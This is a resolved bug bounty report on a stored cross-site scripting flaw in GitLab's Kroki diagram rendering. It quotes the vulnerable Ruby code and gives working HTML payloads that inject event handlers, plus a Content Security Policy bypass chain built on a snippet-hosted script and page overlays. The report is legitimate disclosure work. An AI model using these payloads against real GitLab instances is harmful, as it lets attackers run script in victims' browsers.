Loading HuntDB...

Stored XSS via Kroki diagram

High
G
GitLab
Submitted None
Reported by vakzz

Vulnerability Details

Technical details and impact analysis

Cross-site Scripting (XSS) - Stored
### Summary If Kroki has been enabled, it's possible to craft a `pre` block so that arbitrary attributes can be injected into the resulting `img` tag. The css selector for finding a valid node to convert into a kroki diagram checks for either `pre[lang="#{diagram_type}"] > code` or for `pre > code[lang="#{diagram_type}"]`, but the diagram type is then set using `node.parent['lang'] || node['lang']`. So if the `code` block has a valid lang (such as `wavedrom`) then the css selector will match, but if the parent `pre` also has a `lang` attribute then it will be the one that is used and can be an arbitrary value. https://gitlab.com/gitlab-org/gitlab/-/blob/v15.6.2-ee/lib/banzai/filter/kroki_filter.rb#L17 ```ruby diagram_selectors = ::Gitlab::Kroki.formats(settings) .map do |diagram_type| %(pre[lang="#{diagram_type}"] > code, pre > code[lang="#{diagram_type}"]) end .join(', ') xpath = Gitlab::Utils::Nokogiri.css_to_xpath(diagram_selectors) return doc unless doc.at_xpath(xpath) diagram_format = "svg" doc.xpath(xpath).each do |node| diagram_type = node.parent['lang'] || node['lang'] diagram_src = node.content image_src = create_image_src(diagram_type, diagram_format, diagram_src) ``` The `diagram_type` is then used as-is to create a url, which is used to create an image with `<img src="#{image_src}" />`. So if a double quote is used in the `diagram_type` then arbitrary attributes can be added (apart from `class` as that is replaced just below). https://gitlab.com/gitlab-org/gitlab/-/blob/v15.6.2-ee/lib/banzai/filter/kroki_filter.rb#L31 ```ruby image_src = create_image_src(diagram_type, diagram_format, diagram_src) img_tag = Nokogiri::HTML::DocumentFragment.parse(%(<img src="#{image_src}" />)) img_tag = img_tag.children.first next if img_tag.nil? lazy_load = diagram_src.length > MAX_CHARACTER_LIMIT img_tag.set_attribute('hidden', '') if lazy_load img_tag.set_attribute('class', 'js-render-kroki') img_tag.set_attribute('data-diagram', diagram_type) img_tag.set_attribute('data-diagram-src', "blocked:text/plain;base64,#{Base64.strict_encode64(diagram_src)}") node.parent.replace(img_tag) ``` ### Steps to reproduce 1. On a self-hosted gitlab, ensure that `Kroki` is enabled at `/admin/application_settings/general`{F2080922} 1. Create an issue and use the following payload `<a><pre lang='f/" onerror=alert(1) onload=alert(1) '><code lang="wavedrom">xss</code></pre></a>` 1. Reload/Visit the issue 1. If you do not have CSP enabled you will see the alert pop, otherwise you will see a CSP violation in the console such as `Refused to execute inline event handler because it violates the following Content Security Policy directive` Since the `class` attribute cannot be set finding a CSP bypass was a bit tricky but there are still a few `data` based attributes that can be used, one of them being `data-diff-for-path` from `single_file_diff.js`. This is used as the path to load when the "expand diff" chevron is clicked allowing an arbitrary json file to be loaded and have jquery execute it to bypass the CSP. https://gitlab.com/gitlab-org/gitlab/-/blob/v15.6.2-ee/app/assets/javascripts/single_file_diff.js#L77 ```javascript return axios .get(this.diffForPath) .then(({ data }) => { this.loadingContent.hide(); if (data.html) { this.content = $(data.html); ``` Since clicking the chevron is a bit unlikely, we can inject the `style` attribute to make the kroki overlay the entire page, which when clicked injects some styles to make the `chevron` now overlay the entire page. 1. Enable CSP on gitlab - https://docs.gitlab.com/omnibus/settings/configuration.html#set-a-content-security-policy 1. Create a public snippet with a json file `aaa.json` containing `{"html":"<script>alert(document.domain)</script>"}`, then open the `raw` version and make note of the path. 1. Create a new project and commit a readme 1. View the individual commit (eg http://gitlab.wbowling.info/root/kroki1/-/commit/f4170b940214abeebc6fd7503f9500c72c358613) 1. Add a comment to a line of the commit using the following payload, replacing `data-diff-for-path` with the path to your json file noted above: ```html <a> <pre lang='/" data-diff-for-path=/root/kroki1/-/snippets/9/raw/main/aaa.json '> <code lang="wavedrom">csp</code> </pre> <pre lang='/" id=stage1 style="position:absolute;max-width:10000px;left:-1000px;top:-1000px;width:10000px;height:10000px;z-index:10000;" data-triggers="click" data-toggle=popover data-html=true data-title="aaa&lt;style&gt;#stage1{pointer-events:none}svg.chevron-right{position:absolute;max-width:10000px;left:-1000px;top:-1000px !important;width:10000px;height:10000px;z-index:10001;}&lt;/style&gt;bbb" data-content=ggg '> <code lang="wavedrom"> bypass </code> </pre> </a> ``` 1. Reload the page 1. Clicking anywhere on the page twice will trigger the xss {F2080931} ### Impact Allows arbitrary javascript to be executed when a victim views a comment ### What is the current *bug* behavior? The the lang attribute from the parent node is always used even if the css selector matches the child node ### What is the expected *correct* behavior? The lang attribute should only be used if it is actually valid. The `img` tag should also be created using `content_tag` instead of string concatination. ### Output of checks #### Results of GitLab environment info ``` $ sudo gitlab-rake gitlab:env:info System information System: Ubuntu 20.04 Proxy: no Current User: git Using RVM: no Ruby Version: 2.7.6p219 Gem Version: 3.1.6 Bundler Version:2.3.15 Rake Version: 13.0.6 Redis Version: 6.2.7 Sidekiq Version:6.5.7 Go Version: unknown GitLab information Version: 15.6.2-ee Revision: 08b668e8740 Directory: /opt/gitlab/embedded/service/gitlab-rails DB Adapter: PostgreSQL DB Version: 12.12 URL: http://gitlab.wbowling.info HTTP Clone URL: http://gitlab.wbowling.info/some-group/some-project.git SSH Clone URL: [email protected]:some-group/some-project.git Elasticsearch: no Geo: no Using LDAP: no Using Omniauth: yes Omniauth Providers: GitLab Shell Version: 14.13.0 Repository storage paths: - default: /var/opt/gitlab/git-data/repositories GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell ``` ## Impact Allows arbitrary javascript to be executed when a victim views a comment

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$13950.00

Submitted

Weakness

Cross-site Scripting (XSS) - Stored